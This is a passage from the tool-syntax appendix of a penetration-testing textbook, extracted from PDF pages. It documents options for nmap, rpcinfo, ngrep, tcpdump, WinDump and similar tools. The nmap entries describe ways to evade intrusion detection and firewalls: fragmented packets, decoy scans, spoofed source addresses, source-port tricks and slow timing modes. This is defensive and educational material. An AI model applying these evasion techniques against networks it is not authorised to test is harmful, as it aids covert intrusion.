Syntax\n\u0001\n687\nChapter\nTool\nSyntax\nChapter 3 \n(continued)\nPing\nThe idea is to split up the TCP header over several\npackets to make it harder for packet filters, intrusion\ndetection systems, and other annoyances to detect\nwhat you are doing. Be careful with this! Some\nprograms have trouble handling these tiny packets. My\nfavorite sniffer segmentation faulted immediately upon\nreceiving the first 36-byte fragment. After that comes a\n24-byte one! While this method will not get by packet\nfilters and firewalls that queue all IP fragments (such\nas the CONFIG_IP_ALWAYS_DEFRAG option in the\nLinux kernel), some networks cannot afford the\nperformance hit this causes and thus leave it disabled.\nNote that I do not yet have this option working on all\nsystems. It works fine for my Linux, FreeBSD, and\nOpenBSD boxes and some people have reported\nsuccess with other *NIX variants.\n-v Verbose mode. This is a highly recommended option\nand it gives out more information about what is going\non. You can use it twice for greater effect. Use -d a\ncouple of times if you really want to get crazy with\nscrolling the screen!\n-h This handy option displays a quick reference screen\nof nmap usage options. As you may have noticed, this\nman page is not exactly a “quick reference.”\n-oN This logs the results of your scans in\na normal human-readable form into the file you specify\nas an argument.\n-oM This logs the results of your scans in \na machine.\n--resume A network scan that is canceled\ndue to Ctrl+C, network outage, etc., can be resumed\nusing this option. The logfilename must be either a\nnormal (-oN) or machine parsable (-oM) log from the\naborted scan. No other options can be given (they will\nbe the same as the aborted scan). nmap will start on\nthe machine after the last one successfully scanned in\nthe log file.\n-iL Reads target specifications from the\nfile specified rather than from the command line. The\nfile should contain a list of host or network expressions\nseparated by spaces, tabs, or newlines. Use a hyphen\n(-) as inputfilename if you want nmap to read host\nexpressions from stdin (like at the end of a pipe). See\nthe section Target Specification for more information\non the expressions you fill the file with.\n" }, { "page_number": 701, "text": "688\n\u0001\nPractical Hacking Techniques and Countermeasures\nChapter\nTool\nSyntax\nChapter 3 \n(continued)\nPing\n-iR This option tells nmap to generate its own hosts to\nscan by simply picking random numbers. It will never\nend. This can be useful for statistical sampling of the\nInternet to estimate various things. If you are ever really\nbored, try nmap -sS -iR -p 80 to find some Web servers\nto look at.\n-p This option specifies what ports you\nwant to specify. For example, -p 23 will only try port 23\nof the target host(s). -p 20-30,139,60000- scans ports\nbetween 20 and 30, port 139, and all ports greater than\n60000. The default is to scan all ports between 1 and\n1024 as well as any ports listed in the services file which\ncomes with nmap.\n-F Fast scan mode Specifies that you only wish to scan \nfor ports.\n-D Causes a decoy scan to be\nperformed, which makes it appear to the remote host\nthat the host(s) you specify as decoys are scanning the\ntarget network too. Thus their IDS might report 5–10\nport scans from unique IP addresses, but they will not\nknow which IP was scanning them and which were\ninnocent decoys. While this can be defeated through\nrouter path tracing, response-dropping, and other\n“active” mechanisms, it is generally an extremely\neffective technique for hiding your IP address. Separate\neach decoy host with commas and you can optionally\nuse ME as one of the decoys to represent the position\nin which you want your IP address to be used. If you put\nME in the 6th position or later, some common port scan\ndetectors (such as Solar Designer’s excellent scanlogd)\nare unlikely to show your IP address at all. If you do\nnot use 'ME, nmap will put you in a random position.\nNote that the hosts you use as decoys should be up or\nyou might accidentally SYN flood your targets. Also, it\nwill be pretty easy to determine which host is scanning\nif only one is actually up on the network. You might\nwant to use IP addresses instead of names (so the decoy\nnetworks do not see you in their nameserver logs). Also\nnote, that some (stupid) “port scan detectors” will\nfirewall/deny routing to hosts that attempt port scans.\nThus, you might inadvertently cause the machine you\nscan to lose connectivity with the decoy machines you\nare using. This could cause the target machines major\nproblems if the decoy is, say, its Internet gateway or\neven local host. Thus you might want to be careful\n" }, { "page_number": 702, "text": "Appendix B : Tool Syntax\n\u0001\n689\nChapter\nTool\nSyntax\nChapter 3 \n(continued)\nPing\nof this option. The real moral of the story is that\ndetectors of spoofable port scans should not take\naction against the machine that seems like it is port\nscanning them. It could just be a decoy! Decoys are\nused both in the initial ping scan (using ICMP, SYN,\nACK, or whatever) and during the actual port scanning\nphase. Decoys are also used during remote OS\ndetection (-O). It is worth noting that using too many\ndecoys may slow your scan and potentially even make\nit less accurate.\n-S In some circumstances, nmap may not be\nable to determine your source address (nmap will tell you\nif this is the case). In this situation, use –S with your IP\naddress (of the interface you wish to send packets\nthrough). Another possible use of this flag is to spoof the\nscan to make the targets think that someone else is\nscanning them. Imagine a company being repeatedly port\nscanned by a competitor! This is not a supported usage\n(or the main purpose) of this flag. I just think it raises an\ninteresting possibility that people should be aware of\nbefore they accuse others of port scanning them. -e\nwould generally be required for this sort of usage.\n-e Tells nmap what interface to send and\nreceive packets on. Nmap should be able to detect this,\nbut it will tell you if it cannot.\n-g Sets the source port number used in\nscans. Many naive firewall and packet filter installations\nmake an exception in their ruleset to allow DNS (53) or\nFTP-DATA (20) packets to come through and establish a\nconnection. Obviously, this completely subverts the\nsecurity advantages of the firewall since intruders can just\nmasquerade as FTP or DNS by modifying their source\nports. Obviously, for a UDP scan you should try 53 first\nand TCP scans should try 20 before 53. Note that this is\nonly a request that nmap will honor if and when it is able\nto. For example, you cannot do TCP ISN sampling all from\none host:port to one host:port, so nmap changes the\nsource port even if you used -g. Be aware that there is a\nsmall performance penalty on some scans for using this\noption, because I sometimes store useful information in\nthe source port number.\n-r Tells nmap NOT to randomize the order in which ports\nare scanned.\n" }, { "page_number": 703, "text": "690\n\u0001\nPractical Hacking Techniques and Countermeasures\nChapter\nTool\nSyntax\nChapter 3 \n(continued)\nPing\n--randomize_hosts Tells nmap to shuffle each group of\nup to 2,048 hosts before it scans them. This can make\nthe scans less obvious to various network monitoring\nsystems, especially when you combine it with slow.\n-M Sets the maximum number of sockets\nthat will be used in parallel for a TCP connect () scan\n(the default). This is useful to slow down the scan a\nlittle bit and avoid crashing remote machines. Another\napproach is to use –sS, which is generally easier for\nmachines to handle. Generally nmap does a good job\nat adjusting for network characteristics at runtime and\nscanning as fast as possible while minimizing the\nchances of hosts/ports going undetected. However,\nthere are same cases where nmap’s default timing\npolicy may not meet your objectives. The following\noptions provide a fine level of control over the scan\ntiming.\n-T \nThese are canned timing policies for conveniently\nexpressing your priorities to nmap. Paranoid mode\nscans very slowly in the hopes of avoiding detection by\nIDS systems. It serializes all scans (no parallel scanning)\nand generally waits at least 5 minutes between sending\npackets. Sneaky is similar, except it only waits 15\nseconds between sending packets. Polite is meant to\nease the load on the network and reduce the chances\nof crashing machines. It serializes the probes and waits\nat least 0.4 seconds between them. Normal is the\ndefault nmap behavior, which tries to run as quickly as\npossible without overloading the network or missing\nhosts/ports. Aggressive mode adds a 5-minute timeout\nper host and it never waits more than 1.25 seconds for\nprobe responses. Insane is only suitable for very fast\nnetworks or where you do not mind losing some\ninformation. It times out hosts in 75 seconds and only\nwaits 0.3 seconds for individual probes. It does allow\nfor very quick network sweeps, though. You can also\nreference these by number (0–5). For example, -T 0\ngives you Paranoid mode and -T 5 is Insane mode.\nThese canned timing modes should NOT be used in\ncombination with the lower-level controls given next.\n--host_timeout Specifies the amount of\ntime nmap is allowed to spend scanning a single host\nbefore giving up on that IP. The default timing mode\nhas no host timeout.\n" }, { "page_number": 704, "text": "Appendix B : Tool Syntax\n\u0001\n691\nChapter\nTool\nSyntax\nChapter 3 \n(continued)\nPing\n--max_rtt_timeout Specifies the maximum\namount of time nmap is allowed to wait for a probe\nresponse before retransmitting or timing out that\nparticular probe. The default mode sets this to about\n9000.\n--min_rtt_timeout When the target hosts\nstart to establish a pattern of responding very quickly,\nnmap will shrink the amount of time given per probe.\nThis speeds up the scan, but can lead to missed packets\nwhen a response takes longer than usual. With this\nparameter you can guarantee that nmap will wait at least\nthe given amount of time before giving up on a probe.\n--initial_rtt_timeout Specifies the initial\nprobe timeout. This is generally only useful when\nscanning firwalled hosts with -P0. Normally nmap can\nobtain good RTT estimates from the ping and the first\nfew probes. The default mode uses 6000.\n--max_parallelism Specifies the maximum\nnumber of scans nmap is allowed to perform in parallel.\nSetting this to 1 means nmap will never try to scan more\nthan one port at a time. It also affects other parallel\nscans such as ping sweep, RPC scan, etc.\n--scan_delay Specifies the minimum\namount of time nmap must wait between probes. This\nis mostly useful to reduce network load or to slow the\nscan way down to sneak under IDS thresholds.\nNmapNT\nRefer to nmap syntax above.\nNslookup\nnslookup [-SubCommand ...] [{Computer-\nToFind| [-Server]}]\nOptions:\n-SubCommand ... Specifies one or more nslookup\nsubcommands as a command-line option. For a list of\nsubcommands, see Related Topics. \nComputerToFind Looks up information for\nComputerToFind using the current default DNS name\nserver, if no other server is specified. To look up a\ncomputer not in the current DNS domain, append a\nperiod to the name. \n-Server Specifies to use this server as the DNS name\nserver. If you omit -Server, the default DNS name server\nis used. \n{help|?} Displays a short summary of nslookup \nsubcommands.\n" }, { "page_number": 705, "text": "692\n\u0001\nPractical Hacking Techniques and Countermeasures\nChapter\nTool\nSyntax\nChapter 3 \n(continued)\nNmblookup\nnmblookup \nOptions:\n-A Interprets name as an IP address and does a node-\nstatus query on this address. \n-B broadcast _address Sends the query to the given\nbroadcast address. The default is to send the query to\nthe broadcast address of the primary network interface. \n-d debuglevel Sets the debug (sometimes called logging)\nlevel. The level can range from 0 all the way to 10.\nDebug level 0 logs only the most important messages;\nlevel 1 is normal; levels 3 and above are primarily for\ndebugging and slow the program considerably. \n-h Prints command-line usage information for the \nprogram. \n-i scope Sets a NetBIOS scope identifier. Only machines\nwith the same identifier will communicate with the\nserver. The scope identifier was a predecessor to\nworkgroups, and this option is included only for\nbackward compatibility. \n-M Searches for a local master browser. This is done with\na broadcast searching for a machine that will respond\nto the special name __MSBROWSE_ _, and then asking\nthat machine for information, instead of broadcasting\nthe query itself. \n-R Sets the recursion desired bit in the packet. This will\ncause the machine that responds to try to do a WINS\nlookup and return the address and any other information\nthe WINS server has saved. \n-r Use the root port of 137 for Windows 95 machines. \n-S Once the name query has returned an IP address, this\ndoes a node status query as well. This returns all the\nresource types that the machine knows about, with\ntheir numeric attributes.\nRpcinfo\nrpcinfo -p [ host ]\nrpcinfo -T transport host prognum \n[ versnum ]\nrpcinfo -l [ -T transport ] host prognum \nversnum\nrpcinfo [ -n portnum ] -u host prognum \n[ versnum ]\nrpcinfo [ -n portnum ] -t host prognum \n[ versnum ]\n" }, { "page_number": 706, "text": "Appendix B : Tool Syntax\n\u0001\n693\nChapter\nTool\nSyntax\nChapter 3 \n(continued)\nNmblookup\nrpcinfo -a serv_address -T transport prognum \n[ versnum ]\nrpcinfo -b [ -T transport ] prognum versnum\nrpcinfo -d [ -T transport ] prognum versnum\nOptions:\n-m Displays a table of statistics of rpcbind operations on\nthe given host. The table shows statistics for each\nversion of rpcbind (versions 2, 3, and 4), giving the\nnumber of times each procedure was requested and\nsuccessfully serviced, the number and type of remote\ncall requests that were made, and information about\nRPC address lookups that were handled. This is useful\nfor monitoring RPC activities on a host.\n-s Displays a concise list of all registered RPC programs\non the host. If the host is not specified, it defaults to\nthe local host.\n-p Probes rpcbind on the host using version 2 of the\nrpcbind protocol, and displays a list of all registered\nRPC programs. If the host is not specified, it defaults\nto the local host. Note that version 2 of the rpcbind\nprotocol was previously known as the portmapper\nprotocol.\n-t Makes an RPC call to procedure 0 of prognum on the\nspecified host using TCP, and reports whether a\nresponse was received. This option is made obsolete\nby the -T option as shown in the third synopsis.\n-l Displays a list of entries with a given prognum and\nversnum on the specified host. Entries are returned for\nall transports in the same protocol family as that used\nto contact the remote rpcbind.\n-b Makes an RPC broadcast to procedure 0 of the\nspecified prognum and versnum and reports all hosts\nthat respond. If the transport is specified, it broadcasts\nits request only on the specified transport. If\nbroadcasting is not supported by any transport, an\nerror message is printed. Use of broadcasting should\nbe limited because of the potential for adverse effects\non other systems.\n" }, { "page_number": 707, "text": "694\n\u0001\nPractical Hacking Techniques and Countermeasures\nChapter\nTool\nSyntax\nChapter 3 \n(continued)\nNmblookup -d Deletes registration for the RPC service of the\nspecified prognum and versnum. If the transport is\nspecified, unregister the service on only that transport;\notherwise unregister the service on all the transports\non which it was registered. Only the owner of a service\ncan delete a registration, except the superuser, who can\ndelete any service.\n-u Makes an RPC call to procedure 0 of prognum on the\nspecified host using UDP, and report whether a\nresponse was received. This option is made obsolete\nby the -T option as shown in the third synopsis.\nVisual Route Hostname or IP address.\nSam Spade Syntax options within the Graphical User Interface (GUI).\nNetcraft\nWeb site address or IP address.\nSprint\nActive usage: \n./sprint -t \nPassive usage: \n./sprint -l\nOptions:\n-d \n-p \n-f \n-s \n-g \n-o \n-i \n-a \n-n Netcraft mode\n-v verbose mode\n-D daemon mode\n-h help\nDisable \nDefault \nShares\nNo syntax options. Registry editing. Please see Lab 27.\nWinFinger-\nprint\nSyntax options within the Graphical User Interface \n(GUI).\nChapter 4\nAngry IP\nSyntax options within the GUI.\nLanGuard\nSyntax options within the GUI.\n" }, { "page_number": 708, "text": "Appendix B : Tool Syntax\n\u0001\n695\nChapter\nTool\nSyntax\nChapter 4 \n(continued)\nFscan\nFScan [-abefhqnv?] [-cditz ] [-flo \n] [-pu [,-]] IP[,IP-IP]\n-?/-h Show this help text.\n-a Append to output file (used in conjunction with the\n-o option).\n-b Get port banners.\n-c Timeout for connection attempts (ms).\n-d Delay between scans (ms).\n-e Resolve IP addresses to hostnames.\n-f Read IPs from file (compatible with output from -o).\n-i Bind to given local port.\n-l Port list file; enclose name in quotes if it contains \nspaces.\n-n No port scanning, only pinging (unless you use -q).\n-o Output file; enclose name in quotes if it contains \nspaces.\n-p TCP port(s) to scan (a comma-separated list of \nports/ranges).\n-q Quiet mode; do not ping host before scan.\n-r Randomize port order.\n-t Timeout for pings (ms).\n-u UDP port(s) to scan (a comma-separated list of \nports/ranges).\n-v Verbose mode.\n-z Maximum simultaneous threads to use for scanning.\nPassifist\n./passifist: -i| -r –d [options]\n-r \n-i \n-S \n-P \n-U \nLanSpy\nSyntax options within the GUI.\nNetcat\nSee above.\nSuperScan\nSyntax options within the GUI.\n" }, { "page_number": 709, "text": "696\n\u0001\nPractical Hacking Techniques and Countermeasures\nChapter\nTool\nSyntax\nChapter 4 \n(continued)\nStrobe\nUsage: \n./strobe [options]\n[-v(erbose)]\n[-V(erbose_stats]\n[-m(inimise)]\n[-d(elete_dupes)]\n[-g(etpeername_disable)]\n[-s(tatistics)]\n[-q(uiet)]\n[-o output_file]\n[-b begin_port_n]\n[-e end_port_n]\n[-p single_port_n]\n[-P bind_port_n]\n[-A bind_addr_n]\n[-t timeout_n]\n[-n num_sockets_n]\n[-S services_file]\n[-i hosts_input_file]\n[-l(inear)]\n[-f(ast)]\n[-a abort_after_port_n]\n[-c capture_n]\n[-w wrap_col_n]\n[-x(heXdump)]\n[-L capture_lines_n]\n[-D capture_directory]\n[-T capture_timeout_n]\n[-M(ail_author)]\n[host1 [...host_n]]\nFTP \nScanner \nSyntax options within the GUI.\nCGI \nScanner \nSyntax options within the GUI.\nSMB \nScanner\nSyntax options within the GUI.\n" }, { "page_number": 710, "text": "Appendix B : Tool Syntax\n\u0001\n697\nChapter\nTool\nSyntax\nChapter 4 \n(continued)\nWingate \nScanner\nSyntax options within the GUI.\nADM \nGates\nADMgates .\nChapter 5\nEthereal\nSyntax options within the GUI.\nNgrep\nngrep <-hXViwqpevxlDtT> <-IO pcap_dump > \n< -n num > < -d dev > < -A num > \n< -s snaplen > < match expression > \n< bpf filter >\nOptions:\n-h Display help/usage information. \n-X Treat the match expression as a hexadecimal string. \nSee the explanation of match expression below. \n-V Display version information. \n-I Ignore case for the regex expression. \n-w Match the regex expression as a word. \n-q Be quiet; do not output any information other than \npacket headers and their payloads (if relevant). \n-p Do not put the interface into promiscuous mode. \n-e Show empty packets. Normally empty packets are\ndiscarded because they have no payload to search. If\nspecified, empty packets will be shown, regardless of\nthe specified regex expression. \n-v Invert the match; only display packets that do not match. \n-x Dump packet contents as hexadecimal as well as \nASCII. \n-l Make stdout line buffered. \n-D When reading pcap_dump files, replay them at their\nrecorded time intervals (mimic real time). \n-t Print a timestamp in the form of YYYY/MM/DD \nHH:MM:SS.UUUUUU every time a packet is matched. \n-T Print a timestamp in the form of +S.UUUUUU, \nindicating the delta between packet matches. \n-s snaplen Set the bpf caplen to snaplen (default 65536). \n-I pcap_dump Input file pcap_dump into ngrep. Works\nwith any pcap-compatible dump file format. This\noption is useful for searching for a wide range of\ndifferent patterns over the same packet stream. \n-O pcap_dump Output matched packets to a pcap-\ncompatible dump file. This feature does not interfere\nwith normal output to stdout. \n-n num Match only num packets total, then exit. \n" }, { "page_number": 711, "text": "698\n\u0001\nPractical Hacking Techniques and Countermeasures\nChapter\nTool\nSyntax\nChapter 5 \n(continued)\nNgrep\n-d dev By default ngrep will select a default interface to\nlisten on. Use this option to force ngrep to listen on\ninterface dev. \n-A num Dump num packets of trailing context after\nmatching a packet. \nmatch expression A match expression is either an\nextended regular expression, or if the -X option is\nspecified, a string signifying a hexadecimal value. An\nextended regular expression follows the rules as\nimplemented by the GNU regex library. Hexadecimal\nexpressions can optionally be preceded by “0x.” For\nexample: “DEADBEEF,” “0xDEADBEEF.” \nbpf filter Selects a filter that specifies what packets will\nbe dumped. If no bpf filter is given, all IP packets seen\non the selected interface will be dumped. Otherwise,\nonly packets for which bpf filter is true will be dumped. \nThe bpf filter consists of one or more primitives.\nPrimitives usually consist of an id (name or number)\nproceeded by one or more qualifiers. There are three\ndifferent kinds of qualifier: \nType qualifiers say what kind of thing the ID name or\nnumber refers to. Possible types are host, net, and port.\nFor example: “host blort,” “net 1.2.3,” “port 80.” If there\nis no type qualifier, host is assumed. \ndir qualifiers specify a particular transfer direction to\nand/or from id. Possible directions are src, dst, src or\ndst and src and dst. For example: “src foo,” “dst net\n1.2.3,” “src or dst port ftp-data.” If there is no dir\nqualifier, src or dst is assumed. For “NULL” link layers\n(i.e., point-to-point protocols such as SLIP) the inbound\nand outbound qualifiers can be used to specify a\ndesired direction. \nproto qualifiers are restricted to IP-only protocols.\nPossible protos are: tcp, udp, and icmp. For example:\n“udp src foo” or “tcp port 21.” If there is no proto\nqualifier, all protocols consistent with the type are\nassumed. For example, “src foo” means “ip and ((tcp or\nudp) src foo),” “net bar” means “ip and (net bar),” and\n“port 53” means “ip and ((tcp or udp) port 53).” \nTcpdump\ntcpdump [ -adeflnNOpqStvx ] [ -c count ] \n[ -F file ] [ -i interface ] [ -r file ] \n[ -s snaplen ] [ -T type ] [ -w file ] \n[ expression ] \n" }, { "page_number": 712, "text": "Appendix B : Tool Syntax\n\u0001\n699\nChapter\nTool\nSyntax\nChapter 5\n(continued)\nTcpdump\nOptions:\n-a Attempt to convert network and broadcast addresses\nto names. \n-c Exit after receiving count packets. \n-d Dump the compiled packet-matching code in a \nhuman-readable form to standard output and stop. \n-dd Dump packet-matching code as a C program \nfragment. \n-ddd Dump packet-matching code as decimal numbers \n(preceded by a count). \n-e Print the link-level header on each dump line. \n-f Print “foreign” Internet addresses numerically rather\nthan symbolically (this option is intended to get around\nan issue with Sun’s yp server—usually it hangs forever\ntranslating nonlocal Internet numbers). \n-F Use file as input for the filter expression. An additional\nexpression given on the command line is ignored. \n-i Listen on interface. If unspecified, tcpdump searches\nthe system interface list for the lowest numbered,\nconfigured interface (excluding loopback). Ties are\nbroken by choosing the earliest match. \n-l Make stdout line buffered. Useful if you want to see\nthe data while capturing it. For example, “tcpdump -l |\ntee dat” or “tcpdump -l > dat & tail -f dat.” \n-n Do not convert addresses (i.e., host addresses, port \nnumbers, etc.) to names. \n-N Do not print domain name qualification of\nhostnames. For example, if you give this flag then\ntcpdump will print “nic” instead of “nic.ddn.mil.” \n-O Do not run the packet-matching code optimizer. This\nis useful only if you suspect a bug in the optimizer. \n-p Do not put the interface into promiscuous mode.\nNote that the interface might be in promiscuous mode\nfor some other reason; hence, -p cannot be used as an\nabbreviation for ether host {local-hw-addr} or ether\nbroadcast. \n-q Quick (quiet?) output. Print less protocol \ninformation so output lines are shorter. \n-r Read packets from file (which was created with the \n-w option). Standard input is used if file is “-.” \n" }, { "page_number": 713, "text": "700\n\u0001\nPractical Hacking Techniques and Countermeasures\nChapter\nTool\nSyntax\nChapter 5 \n(continued)\nTcpdump\n-s Snarf snaplen bytes of data from each packet rather\nthan the default of 68 (with Sun OS’s NIT, the minimum\nis actually 96). 68 bytes is adequate for IP, ICMP, TCP,\nand UDP but may truncate protocol information from\nname server and NFS packets (see below). Packets\ntruncated because of a limited snapshot are indicated\nin the output with “[|proto],” where proto is the name\nof the protocol level at which the truncation has\noccurred. Note that taking larger snapshots both\nincreases the amount of time it takes to process packets\nand, effectively, decreases the amount of packet\nbuffering. This may cause packets to be lost. You should\nlimit snaplen to the smallest number that will capture\nthe protocol information you are interested in. \n-T Force packets selected by expression to be\ninterpreted the specified type. Currently known types\nare rpc (Remote Procedure Call), rtp (Real-Time\nApplications protocol), rtcp (Real-Time Applications\ncontrol protocol), vat (Visual Audio Tool), wb\n(distributed White Board), and snmp (Simple Network\nManagement Protocol). \n-S Print absolute, rather than relative, TCP sequence \nnumbers. \n-t Do not print a timestamp on each dump line. \n-tt Print an unformatted timestamp on each dump line. \n-v (Slightly more) verbose output. For example, the time\nto live and type of service information in an IP packet\nis printed. \n-vv Even more verbose output. For example, additional \nfields are printed from NFS reply packets. \n-w Write the raw packets to file rather than parsing and\nprinting them out. They can later be printed with the \n-r option. Standard output is used if file is “-.” \n-x Print each packet (minus its link level header) in hex.\nThe smaller of the entire packet or snaplen bytes will\nbe printed. \nWinDump\ntcpdump [ -ABdDeflLnNOpqRStuUvxX ] \n[ -c count ] \n[ -C file_size ] [ -F file ] \n[ -i interface ] [ -m module ] [ -M secret ] \n[ -r file ] [ -s snaplen ] [ -T type ] \n[ -w file ] \n" }, { "page_number": 714, "text": "Appendix B : Tool Syntax\n\u0001\n701\nChapter\nTool\nSyntax\nChapter 5 \n(continued)\nWinDump\n[ -W filecount ] \n[ -E spi@ipaddr algo:secret,... ] \n[ -y datalinktype ] [ -Z user ] \n[ expression ]\nOptions:\n-A Print each packet (minus its link level header) in\nASCII. Handy for capturing web pages. \n-B (Win32 specific) Set driver’s buffer size to size in\nkilobytes. The default buffer size is 1 megabyte (i.e.,\n1000). If there is any loss of packets during the capture,\nyou can increase the kernel buffer size by means of this\nswitch, since the dimension of the driver’s buffer\ninfluences heavily the capture performance. \n-c Exit after receiving count packets. \n-C Before writing a raw packet to a savefile, check\nwhether the file is currently larger than file_size and, if\nso, close the current savefile and open a new one.\nSavefiles after the first savefile will have the name\nspecified with the -w flag, with a number after it,\nstarting at 1 and continuing upward. The units of\nfile_size are millions of bytes (1,000,000 bytes, not\n1,048,576 bytes). \n-d Dump the compiled packet-matching code in a\nhuman-readable form to standard output and stop. \n-dd Dump packet-matching code as a C program \nfragment. \n-ddd Dump packet-matching code as decimal numbers\n(preceded by a count). \n-D Print the list of the network interfaces available on\nthe system and on which tcpdump can capture packets.\nFor each network interface, a number and an interface\nname, possibly followed by a text description of the\ninterface, is printed. The interface name or the number\ncan be supplied to the -i flag to specify an interface on\nwhich to capture. This can be useful on systems that\ndo not have a command to list them (e.g., Windows\nsystems, or Unix systems lacking ifconfig -a); the\nnumber can be useful on Windows 2000 and later\nsystems, where the interface name is a somewhat\ncomplex string. \n" }, { "page_number": 715, "text": "702\n\u0001\nPractical Hacking Techniques and Countermeasures\nChapter\nTool\nSyntax\nChapter 5 \n(continued)\nWinDump\nThe -D flag will not be supported if tcpdump was built\nwith an older version of libpcap that lacks the\npcap_findalldevs() function. \n-e Print the link-level header on each dump line. \n-E Use spi@ipaddr algo:secret for decrypting IPsec ESP\npackets that are addressed to addr and contain Security\nParameter Index value spi. This combination may be\nrepeated with comma or newline separation. \nNote that setting the secret for IPv4 ESP packets is \nsupported at this time. \nAlgorithms may be des-cbc, 3des-cbc, blowfish-cbc, rc3-\ncbc, cast128-cbc, or none. The default is des-cbc. The\nability to decrypt packets is only present if tcpdump\nwas compiled with cryptography enabled. Secret is the\nASCII text for ESP secret key. If preceded by 0x, then a\nhex value will be read. \nThe option assumes RFC2406 ESP, not RFC1827 ESP. The\noption is only for debugging purposes, and the use of\nthis option with a true “secret” key is discouraged. By\npresenting IPsec secret key onto command line you\nmake it visible to others, via ps(1) and other occasions. \nIn addition to the above syntax, the syntax file name may\nbe used to have tcpdump read the provided file in. The\nfile is opened upon receiving the first ESP packet, so\nany special permissions that tcpdump may have been\ngiven should already have been given up. \n-f Print “foreign” IPv4 addresses numerically rather than\nsymbolically (this option is intended to get around an\nissue in Sun’s NIS server—usually it hangs forever\ntranslating nonlocal Internet numbers). \nThe test for “foreign” IPv4 addresses is done using the\nIPv4 address and netmask of the interface on which\ncapture is being done. If that address or netmask is not\navailable either because the interface on which the\ncapture is being done has no address or netmask or\nbecause the capture is being done on the Linux “any”\ninterface, which can capture on more than one\ninterface, this option will not work correctly. \n-F Use file as input for the filter expression. An additional\nexpression given on the command line is ignored. \n-i Listen on interface. If unspecified, tcpdump searches\nthe system interface list for the lowest numbered\nconfigured interface (excluding loopback). Ties are\nbroken by choosing the earliest match. \n" }, { "page_number": 716, "text": "Appendix B : Tool Syntax\n\u0001\n703\nChapter\nTool\nSyntax\nChapter 5 \n(continued)\nWinDump\nOn Linux systems with 2.2 or later kernels, an interface\nargument of “any” can be used to capture packets from\nall interfaces. Note that captures on the “any” device\nwill not be done in promiscuous mode. \nIf the -D flag is supported, an interface number as\nprinted by that flag can be used as the interface\nargument. \n-l Make stdout line buffered. Useful if you want to see\nthe data while capturing it. For example, “tcpdump -l |\ntee dat” or “tcpdump -l > dat & tail -f dat.” \n-L List the known data link types for the interface and \nexit. \n-m Load SMI MIB module definitions from file module.\nThis option can be used several times to load several\nMIB modules into tcpdump. \n-M Use secret as a shared secret for validating the\ndigests found in TCP segments with the TCP-MD5\noption (RFC 2385), if present. \n-n Do not convert addresses (i.e., host addresses, port\nnumbers, etc.) to names. \n-N Do not print domain name qualification of host\nnames. For example, if you give this flag then tcpdump\nwill print “nic” instead of “nic.ddn.mil.” \n-O Do not run the packet-matching code optimizer. This\nis useful only if you suspect a bug in the optimizer. \n-p Do not put the interface into promiscuous mode.\nNote that the interface might be in promiscuous mode\nfor some other reason; hence, -p cannot be used as an\nabbreviation for ether host {local-hw-addr} or ether\nbroadcast. \n-q Quick (quiet?) output. Print less protocol information\nso output lines are shorter. \n-R Assume ESP/AH packets to be based on old\nspecification (RFC1825 to RFC1829). If specified,\ntcpdump will not print the replay prevention field.\nSince there is no protocol version field in the ESP/AH\nspecification, tcpdump cannot deduce the version of\nESP/AH protocol. \n-r Read packets from file (which was created with the \n-w option). Standard input is used if file is “-.” \n-S Print absolute, rather than relative, TCP sequence\nnumbers. \n" }, { "page_number": 717, "text": "704\n\u0001\nPractical Hacking Techniques and Countermeasures\nChapter\nTool\nSyntax\nChapter 5 \n(continued)\nWinDump\n-s Snarf snaplen bytes of data from each packet rather\nthan the default of 68 (with Sun OS’s NIT, the minimum\nis actually 96). 68 bytes is adequate for IP, ICMP, TCP and\nUDP but may truncate protocol information from name\nserver and NFS packets (see below). Packets truncated\nbecause of a limited snapshot are indicated in the output\nwith “[|proto],” where proto is the name of the protocol\nlevel at which the truncation has occurred. Note that\ntaking larger snapshots both increases the amount of\ntime it takes to process packets and, effectively,\ndecreases the amount of packet buffering. This may\ncause packets to be lost. You should limit snaplen to the\nsmallest number that will capture the protocol\ninformation you are interested in. Setting snaplen to 0\nmeans it will use the required length to catch whole\npackets. \n-T Force packets selected by expression to be\ninterpreted the specified type. Currently known types\nare aodv (Ad-hoc On-demand Distance Vector\nprotocol), cnfp (Cisco NetFlow protocol), rpc (Remote\nProcedure Call), rtp (Real-Time Applications protocol),\nrtcp (Real-Time Applications control protocol), SNMP\n(Simple Network Management Protocol), tftp (Trivial\nFile Transfer Protocol), vat (Visual Audio Tool), and wb\n(distributed White Board). \n-t Do not print a timestamp on each dump line. \n-tt Print an unformatted timestamp on each dump line. \n-ttt Print a delta (in microseconds) between current and \nprevious line on each dump line. \n-tttt Print a timestamp in default format proceeded by \nthe date on each dump line. \n-u Print un-decoded NFS handles. \n-U Make output saved via the -w option packet-buffered;\ni.e., as each packet is saved, it will be written to the\noutput file, rather than being written only when the\noutput buffer fills. \nThe -U flag will not be supported if tcpdump was built\nwith an older version of libpcap that lacks the\npcap_dump_flush() function. \n-v When parsing and printing, produce (slightly more)\nverbose output. For example, the time to live,\nidentification, total length and options in an IP packet\nare printed. Also enables additional packet integrity\nchecks such as verifying the IP and ICMP header\nchecksum. \n" }, { "page_number": 718, "text": "Appendix B : Tool Syntax\n\u0001\n705\nChapter\nTool\nSyntax\nChapter 5 \n(continued)\nWinDump\nWhen writing to a file with the -w option, report every\n10 seconds, the number of packets captured. \n-vv Even more verbose output. For example, additional\nfields are printed from NFS reply packets, and SMB\npackets are fully decoded. \n-vvv Even more verbose output. For example, telnet SB\n... SE options are printed in full. With -X Telnet options\nare printed in hex as well. \n-w Write the raw packets to file rather than parsing and\nprinting them out. They can later be printed with the \n-r option. Standard output is used if file is “-.” \n-W Used in conjunction with the -C option, this will limit\nthe number of files created to the specified number,\nand begin overwriting files from the beginning, thus\ncreating a “rotating” buffer. In addition, it will name the\nfiles with enough leading 0s to support the maximum\nnumber of files, allowing them to sort correctly. \n-x Print each packet (minus its link level header) in hex.\nThe smaller the entire packet or snaplen bytes will be\nprinted. Note that this is the entire link-layer packet, so\nfor link layers that pad (e.g., Ethernet), the padding\nbytes will also be printed when the higher layer packet\nis shorter than the required padding. \n-xx Print each packet, including its link level header, in\nhex. \n-X Print each packet (minus its link level header) in hex\nand ASCII. This is very handy for analyzing new\nprotocols. \n-XX Print each packet, including its link level header, in\nhex and ASCII. \n-y Set the data link type to use while capturing packets\nto datalinktype. \n-Z Drops privileges (if root) and changes user ID to user\nand the group ID to the primary group of user. This\nbehavior can also be enabled by default at compile\ntime. \nIPDump2\nipdump2 \nOn Linux, interface can be eth0, ppp0, etc.\nOn Windows, interface is a number, usually 0.\nZxSniffer\nSyntax options within the 